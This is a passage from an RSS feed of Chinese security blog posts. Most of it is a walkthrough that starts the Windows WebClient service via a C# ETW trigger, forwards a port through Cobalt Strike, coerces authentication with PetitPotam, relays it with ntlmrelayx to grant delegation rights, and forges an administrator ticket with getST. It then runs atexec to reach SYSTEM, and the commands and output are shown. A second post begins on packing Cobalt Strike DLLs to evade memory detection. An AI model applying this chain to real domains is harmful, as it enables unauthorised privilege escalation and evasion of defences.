class="code-snippet__literal">nullptr</span>, <span class="code-snippet__literal">nullptr</span>, &amp;Handle) == ERROR_SUCCESS)</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        EVENT_DESCRIPTOR desc;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        EventDescCreate(&amp;desc, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">4</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        success = EventWrite(Handle, &amp;desc, <span class="code-snippet__number">0</span>, <span class="code-snippet__literal">nullptr</span>) == ERROR_SUCCESS;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        EventUnregister(Handle);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> success;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="min-height: 24px;">你可以自己改造一下使用BOF来进行使用，但是我懒了，直接找了一个现成的 C# 代码。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">using</span> System;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">using</span> System.Runtime.InteropServices;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">namespace</span> <span class="code-snippet__title">StartWebClient</span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Program</span></span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        [<span class="code-snippet__meta">StructLayout(LayoutKind.Explicit, Size = 16)</span>]</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> <span class="code-snippet__title">EVENT_DESCRIPTOR</span></span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            [<span class="code-snippet__meta">FieldOffset(0)</span>] <span class="code-snippet__keyword">ushort</span> Id = <span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">            [<span class="code-snippet__meta">FieldOffset(2)</span>] <span class="code-snippet__keyword">byte</span> Version = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">            [<span class="code-snippet__meta">FieldOffset(3)</span>] <span class="code-snippet__keyword">byte</span> Channel = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">            [<span class="code-snippet__meta">FieldOffset(4)</span>] <span class="code-snippet__keyword">byte</span> Level = <span class="code-snippet__number">4</span>;</span></code><code><span class="code-snippet_outer">            [<span class="code-snippet__meta">FieldOffset(5)</span>] <span class="code-snippet__keyword">byte</span> Opcode = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">            [<span class="code-snippet__meta">FieldOffset(6)</span>] <span class="code-snippet__keyword">ushort</span> Task = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">            [<span class="code-snippet__meta">FieldOffset(8)</span>] <span class="code-snippet__keyword">long</span> Keyword = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        [<span class="code-snippet__meta">StructLayout(LayoutKind.Explicit, Size = 16)</span>]</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">struct</span> EventData</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            [<span class="code-snippet__meta">FieldOffset(0)</span>]</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">internal</span> UInt64 DataPointer;</span></code><code><span class="code-snippet_outer">            [<span class="code-snippet__meta">FieldOffset(8)</span>]</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">internal</span> <span class="code-snippet__keyword">uint</span> Size;</span></code><code><span class="code-snippet_outer">            [<span class="code-snippet__meta">FieldOffset(12)</span>]</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">internal</span> <span class="code-snippet__keyword">int</span> Reserved;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        [<span class="code-snippet__meta">DllImport(<span class="code-snippet__meta-string">&#34;Advapi32.dll&#34;</span>, SetLastError = true)</span>]</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">extern</span> <span class="code-snippet__keyword">uint</span> <span class="code-snippet__title">EventRegister</span>(<span class="code-snippet__params"></span></span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">ref</span> Guid guid,</span></code><code><span class="code-snippet_outer">            [Optional] IntPtr EnableCallback,</span></code><code><span class="code-snippet_outer">            [Optional] IntPtr CallbackContext,</span></code><code><span class="code-snippet_outer">            [In][Out] <span class="code-snippet__keyword">ref</span> <span class="code-snippet__keyword">long</span> RegHandle</span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">)</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        [<span class="code-snippet__meta">DllImport(<span class="code-snippet__meta-string">&#34;Advapi32.dll&#34;</span>, SetLastError = true)</span>]</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">extern</span> <span class="code-snippet__keyword">uint</span> <span class="code-snippet__title">EventWrite</span>(<span class="code-snippet__params"></span></span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">long</span> RegHandle,</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">ref</span> EVENT_DESCRIPTOR EventDescriptor,</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">uint</span> UserDataCount,</span></code><code><span class="code-snippet_outer">            IntPtr UserData</span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">)</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        [<span class="code-snippet__meta">DllImport(<span class="code-snippet__meta-string">&#34;Advapi32.dll&#34;</span>, SetLastError = true)</span>]</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">extern</span> <span class="code-snippet__keyword">uint</span> <span class="code-snippet__title">EventUnregister</span>(<span class="code-snippet__params"><span class="code-snippet__keyword">long</span> RegHandle</span>)</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">start_service</span>(<span class="code-snippet__params"><span class="code-snippet__keyword">string</span> trigger</span>)</span></span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            Guid webCleintTrigger = <span class="code-snippet__keyword">new</span> Guid(<span class="code-snippet__number">0x22B6D684</span>, <span class="code-snippet__number">0xFA63</span>, <span class="code-snippet__number">0x4578</span>, <span class="code-snippet__number">0x87</span>, <span class="code-snippet__number">0xC9</span>, <span class="code-snippet__number">0xEF</span>, <span class="code-snippet__number">0xFC</span>, <span class="code-snippet__number">0xBE</span>, <span class="code-snippet__number">0x66</span>, <span class="code-snippet__number">0x43</span>, <span class="code-snippet__number">0xC7</span>);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (trigger.ToLower().Equals(<span class="code-snippet__string">&#34;true&#34;</span>))</span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer">                Console.WriteLine(<span class="code-snippet__string">&#34;Attempting to start WebClient via ServiceTrigger&#34;</span>);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">else</span></span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer">                Console.WriteLine(<span class="code-snippet__string">&#34;Attempting to start {0} via ServiceTrigger&#34;</span>, trigger);</span></code><code><span class="code-snippet_outer">                webCleintTrigger = <span class="code-snippet__keyword">new</span> Guid(trigger);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">long</span> handle = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">uint</span> output = EventRegister(<span class="code-snippet__keyword">ref</span> webCleintTrigger, IntPtr.Zero, IntPtr.Zero, <span class="code-snippet__keyword">ref</span> handle);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">bool</span> success = <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (output == <span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__comment">//Create event descriptor</span></span></code><code><span class="code-snippet_outer">                EVENT_DESCRIPTOR desc = <span class="code-snippet__keyword">new</span> EVENT_DESCRIPTOR();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__comment">//Write the event</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">uint</span> writeOutput = EventWrite(handle, <span class="code-snippet__keyword">ref</span> desc, <span class="code-snippet__number">0</span>, IntPtr.Zero);</span></code><code><span class="code-snippet_outer">                success = writeOutput == <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">                EventUnregister(handle);</span></code><code><span class="code-snippet_outer">                Console.WriteLine(<span class="code-snippet__string">&#34;Service should be started, verify with \&#34;sc.exe query servicename\&#34;&#34;</span>);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">else</span></span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer">                Console.WriteLine(<span class="code-snippet__string">&#34;Service Can not Start&#34;</span>);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">Main</span>(<span class="code-snippet__params"><span class="code-snippet__keyword">string</span>[] args</span>)</span></span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            Program.start_service(<span class="code-snippet__string">&#34;true&#34;</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="min-height: 24px;">测试没啥问题</p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5726618705035971" width="695" data-type="png" data-w="695" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=260b1e64&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmCfgOvnDtfr7BItaHRZD0hT4GTjhocUxbmsEFfzue11LRChEWJEOIfC8j8WxZZub2UibAjXs9iaib13g%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;">接下去就是老一套的利用了。因为要使用到 relay，并且我们这里并不需要relay到445 可以借用WebClient的特性随意选择端口，那么结合CS简直是一件特别香的事。</p><p style="min-height: 24px;"><br/></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;">Port forward</h2><p style="min-height: 24px;">我们使用<code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;">rportfwd_local</code>来进行转发，这是在 November 6, 2020 - Cobalt Strike 4.2 版本添加的命令。</p><p style="min-height: 24px;"><br/></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="141" data-source-title=""><section class="js_blockquote_digest"><p>create a port forward that initiates connection and routes   from Beacon to team server onwards through the requester&#39;s Cobalt Strike client.</p></section></blockquote><p><br/></p><p style="min-height: 24px;">简单来讲就是该端口转发可以直接通过 Cobalt Strike client 进行。也就是我们不再像以前通过 rportfwd 转发到CS Teamserver上或者 远程主机了，直接在本机即可完成relay利用，免去一些环境的问题。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">beacon</span>&gt; <span class="code-snippet__selector-tag">rportfwd_local</span> 8445 192<span class="code-snippet__selector-class">.168</span><span class="code-snippet__selector-class">.0</span><span class="code-snippet__selector-class">.111</span> 8888</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-attr">[+]</span> <span class="code-snippet__selector-tag">started</span> <span class="code-snippet__selector-tag">reverse</span> <span class="code-snippet__selector-tag">port</span> <span class="code-snippet__selector-tag">forward</span> <span class="code-snippet__selector-tag">on</span> 8445 <span class="code-snippet__selector-tag">to</span> <span class="code-snippet__selector-tag">dsdcew</span> <span class="code-snippet__selector-tag">-</span>&gt; 192<span class="code-snippet__selector-class">.168</span><span class="code-snippet__selector-class">.0</span><span class="code-snippet__selector-class">.111</span><span class="code-snippet__selector-pseudo">:8888</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-attr">[*]</span> <span class="code-snippet__selector-tag">Tasked</span> <span class="code-snippet__selector-tag">beacon</span> <span class="code-snippet__selector-tag">to</span> <span class="code-snippet__selector-tag">forward</span> <span class="code-snippet__selector-tag">port</span> 8445 <span class="code-snippet__selector-tag">to</span> <span class="code-snippet__selector-tag">dsdcew</span> <span class="code-snippet__selector-tag">-</span>&gt; 192<span class="code-snippet__selector-class">.168</span><span class="code-snippet__selector-class">.0</span><span class="code-snippet__selector-class">.111</span><span class="code-snippet__selector-pseudo">:8888</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-attr">[+]</span> <span class="code-snippet__selector-tag">host</span> <span class="code-snippet__selector-tag">called</span> <span class="code-snippet__selector-tag">home</span>, <span class="code-snippet__selector-tag">sent</span>: 10 <span class="code-snippet__selector-tag">bytes</span></span></code></pre></section><p style="min-height: 24px;">这里假设转发到我的本机IP 192.168.0.111:8888 端口上，接下来使用 PetitPotam 或 PrinterBug 来触发认证即可。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer">(<span class="code-snippet__selector-tag">base</span>) <span class="code-snippet__selector-tag">base</span> ❯ <span class="code-snippet__selector-tag">python2</span> <span class="code-snippet__selector-tag">PetitPotam</span><span class="code-snippet__selector-class">.py</span> <span class="code-snippet__selector-tag">elevatehostname</span>@<span class="code-snippet__keyword">8445</span>/<span class="code-snippet__keyword">aaaa</span> <span class="code-snippet__number">10.1</span>.<span class="code-snippet__number">1.2</span> -d rock.com.cn -u <span class="code-snippet__number">0</span>x -p <span class="code-snippet__string">&#39;0x123456&#39;</span></span></code></pre></section><p style="min-height: 24px;">10.1.1.2 是你提权机器的IP，这里我们相当于直接强制让自己向自己的8445端口发起认证，经过CS的端口转发会来到 CobaltStrike Client 用户端的8888端口。</p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;"><strong>relay</strong></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer">impacket ❯ python ntlmrelayx.py -t ldap://AD.rock.com.cn --http-port <span class="code-snippet__number">8888</span> --delegate-access --escalate-user demohostuser$</span></code><code><span class="code-snippet_outer">Impacket v0<span class="code-snippet__number">.9</span><span class="code-snippet__number">.25</span>.dev1+<span class="code-snippet__number">20220218.140931</span><span class="code-snippet__number">.6042675</span>a - Copyright <span class="code-snippet__number">2021</span> SecureAuth Corporation</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">[*] Protocol Client SMTP loaded..</span></code><code><span class="code-snippet_outer">[*] Protocol Client SMB loaded..</span></code><code><span class="code-snippet_outer">[*] Protocol Client RPC loaded..</span></code><code><span class="code-snippet_outer">[*] Protocol Client LDAPS loaded..</span></code><code><span class="code-snippet_outer">[*] Protocol Client LDAP loaded..</span></code><code><span class="code-snippet_outer">[*] Protocol Client HTTP loaded..</span></code><code><span class="code-snippet_outer">[*] Protocol Client HTTPS loaded..</span></code><code><span class="code-snippet_outer">[*] Protocol Client MSSQL loaded..</span></code><code><span class="code-snippet_outer">[*] Protocol Client IMAP loaded..</span></code><code><span class="code-snippet_outer">[*] Protocol Client IMAPS loaded..</span></code><code><span class="code-snippet_outer">[*] Protocol Client DCSYNC loaded..</span></code><code><span class="code-snippet_outer">[*] Running <span class="code-snippet__keyword">in</span> relay mode to single host</span></code><code><span class="code-snippet_outer">[*] Setting up SMB Server</span></code><code><span class="code-snippet_outer">[*] Setting up HTTP Server</span></code><code><span class="code-snippet_outer">[*] Setting up WCF Server</span></code><code><span class="code-snippet_outer">[*] Setting up RAW Server on port <span class="code-snippet__number">6666</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">[*] Servers started, waiting <span class="code-snippet__keyword">for</span> connections</span></code><code><span class="code-snippet_outer">[*] HTTPD: Received connection <span class="code-snippet__keyword">from</span> <span class="code-snippet__number">192.168</span><span class="code-snippet__number">.0</span><span class="code-snippet__number">.111</span>, attacking target ldap://AD.rock.com.cn</span></code><code><span class="code-snippet_outer">[*] HTTPD: Received connection <span class="code-snippet__keyword">from</span> <span class="code-snippet__number">192.168</span><span class="code-snippet__number">.0</span><span class="code-snippet__number">.111</span>, attacking target ldap://AD.rock.com.cn</span></code><code><span class="code-snippet_outer">[*] Authenticating against ldap://AD.rock.com.cn <span class="code-snippet__keyword">as</span> rock\demohostuser$ SUCCEED</span></code><code><span class="code-snippet_outer">[*] Enumerating relayed use<span class="code-snippet__string">r&#39;s privileges. This may take a while on large domains</span></span></code><code><span class="code-snippet_outer">[*] Authenticating against ldap://AD.rock.com.cn as rock\demohostuser$ SUCCEED</span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">[*] Enumerating relayed user&#39;</span>s privileges. This may take a <span class="code-snippet__keyword">while</span> on large domains</span></code><code><span class="code-snippet_outer">[*] Delegation rights modified succesfully!</span></code><code><span class="code-snippet_outer">[*] demohostuser$ can now impersonate users on elevatehostname$ via S4U2Proxy</span></code><code><span class="code-snippet_outer">[*] Delegate attack already performed <span class="code-snippet__keyword">for</span> this computer, skipping</span></code></pre></section><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;">机器用户我之前添加好了直接使用，可以使用addcomputer添加或者直接让relay帮你加。</p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;"><strong>申请ST</strong></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">impacket ❯ python getST.py -spn cifs/elevatehostname.rock.com.cn rock.com.cn/demohostuser$:<span class="code-snippet__string">&#39;Password123&#39;</span> -impersonate administrator -dc-ip <span class="code-snippet__number">10.1</span><span class="code-snippet__number">.1</span><span class="code-snippet__number">.1</span></span></code><code><span class="code-snippet_outer">Impacket v0<span class="code-snippet__number">.9</span><span class="code-snippet__number">.25</span>.dev1+<span class="code-snippet__number">20220218.140931</span><span class="code-snippet__number">.6042675</span>a - Copyright <span class="code-snippet__number">2021</span> SecureAuth Corporation</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">[<span class="code-snippet__meta">*</span>] Getting TGT <span class="code-snippet__keyword">for</span> user</span></code><code><span class="code-snippet_outer">[<span class="code-snippet__meta">*</span>] Impersonating administrator</span></code><code><span class="code-snippet_outer">[<span class="code-snippet__meta">*</span>]   Requesting S4U2self</span></code><code><span class="code-snippet_outer">[<span class="code-snippet__meta">*</span>]   Requesting S4U2Proxy</span></code><code><span class="code-snippet_outer">[<span class="code-snippet__meta">*</span>] Saving ticket <span class="code-snippet__keyword">in</span> administrator.ccache</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">impacket ❯ export KRB5CCNAME=administrator.ccache</span></code></pre></section><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;">在选择模拟用户前 可以 确认一下 impersonate 的用户是否是开启状态，有些情况即便是DA用户也有可能被禁用了。</p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;"><strong>exec</strong></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">impacket ❯ python atexec.py -k -no-pass elevatehostname.rock.com.cn whoami</span></code><code><span class="code-snippet_outer">Impacket v0<span class="code-snippet__number">.9</span><span class="code-snippet__number">.25</span>.dev1+<span class="code-snippet__number">20220218.140931</span><span class="code-snippet__number">.6042675</span>a - Copyright <span class="code-snippet__number">2021</span> SecureAuth Corporation</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">[<span class="code-snippet__meta">!</span>] This will work ONLY <span class="code-snippet__keyword">on</span> Windows &gt;= Vista</span></code><code><span class="code-snippet_outer">[<span class="code-snippet__meta">*</span>] Creating task \LhjdbEFO</span></code><code><span class="code-snippet_outer">[<span class="code-snippet__meta">*</span>] Running task \LhjdbEFO</span></code><code><span class="code-snippet_outer">[<span class="code-snippet__meta">*</span>] Deleting task \LhjdbEFO</span></code><code><span class="code-snippet_outer">[<span class="code-snippet__meta">*</span>] Attempting to read ADMIN$\Temp\LhjdbEFO.tmp</span></code><code><span class="code-snippet_outer">nt authority\system</span></code></pre></section><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;">没什么高级的东西，仅当记录。</p><p><br/></p>



<p><a href="2247483720">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3b012ec9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMjMxOTI2MA%3D%3D%26mid%3D2247483720%26idx%3D1%26sn%3De22640bd968e7e3801c9ba0a6b12a025%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 26 Feb 2022 17:55:00 +0800</pubDate>
    </item>
    <item>
      <title>CobaltStrike Runtime Dll Double Patch</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMjMxOTI2MA==&amp;mid=2247483713&amp;idx=1&amp;sn=44d809fd3d861e0ce6389d34090a003b</link>
      <description>大多数情况我们都关注着beacon的上线，本文讲的是在POST-EX阶段</description>
      <content:encoded><![CDATA[<p>
原创 <span>秋水 &amp;amp; 0x00</span> <span>2022-01-26 13:16</span> <span style="display: inline-block;"></span>
</p>

<p>大多数情况我们都关注着beacon的上线，本文讲的是在POST-EX阶段</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f619fc2d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJVvEROSV1icLOTYlkejucqvnv4VNZwJicgOqcymey6Y9kSZgWicGfvmU3kA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="295" data-backw="578" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_png/1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJVicP6rRm1vM0NPyGJrA3yhByK7gp9funicdJKL4LWyWNXyU5NCOE4C8oQ/640?wx_fmt=png" data-cropx1="0" data-cropx2="1080" data-cropy1="0" data-cropy2="551.2110726643599" data-galleryid="" data-ratio="0.5101851851851852" data-s="300,640" style="width: 100%;height: auto !important;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=34f5a4a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJVDubdnwRTESHqHwwbI8icp7BWicO2uEibiaNALyTOentRLWz8jh0BxuQ5og%2F640%3Fwx_fmt%3Djpeg"/></p><p><span style="font-size: 12px;color: rgb(178, 178, 178);"><em>夕阳西下-该回家啦</em></span><br/></p><blockquote><p>大多数情况我们都关注着beacon的上线，本文讲的是在POST-EX阶段，在不重写beacon或功能模块的情况下，对自带的功能模块实现一些内存IOC规避</p></blockquote><p>CS经过不断的更新迭代，逐步把功能模块的实现从RDI切换成BOF的形式，这样带来了很多OPSEC方面的提升和减少了载荷的大小，但你仍然可以看到还存在少数通过RDI实现的功能模块。</p><p><img class="rich_pages wxw-img" data-ratio="1.5745393634840872" style="height: auto !important;" data-type="png" data-w="597" src="https://wechat2rss.xlab.app/img-proxy/?k=00c8676a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJVnh1GZV3QmHnugiadt6plBFYoO4Om3bD3FAOOa8rg8K2MhT4lZgtdAgg%2F640%3Fwx_fmt%3Dpng"/></p><p>当你使用诸如hashdump之类的功能时，在CS资源中的这个dll就会被Decrypt然后经过一系列Patch，再经过一系列封装（参数、功能描述、功能号等等）传输给Beacon再通过RDI自加载。</p><p>在这个过程中你可以使用Mallable Profile 自定义一些Patch的内容，包括<strong><code>pipename</code></strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">、</span><strong><code>obfuscate</code></strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">、</span><strong><code>smartinject</code></strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">、</span><strong><code>amsi_disable</code></strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">、</span><strong><code>thread_hint</code></strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">等等</span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></span></p><blockquote><p>我们的思路是可以在dll patch 之后，再次使用一些工具来packer dll。达到一些内存特征的规避效果，这就看大家发挥了，简单点你可以使用一些壳来帮助你提高一些规避的效果，但是相应的<code>opcode</code> 依然还是之前的那些，所以你还可以使用代码虚拟化的方式将重点函数虚拟化或者混淆。</p></blockquote><p><br/></p><p>思路和方法本身没什么实际难度，但选择packer的方法、工具和遇到的问题可能并不一样（不同的packer可能会导致不同的问题，也并不一定都能正常被加载，这是这个方法需要解决的重点问题），这里仅记录我使用的这种packer遇到的问题。</p><p><br/></p><h2><span style="font-size: 24px;"><strong>CS inject &amp; 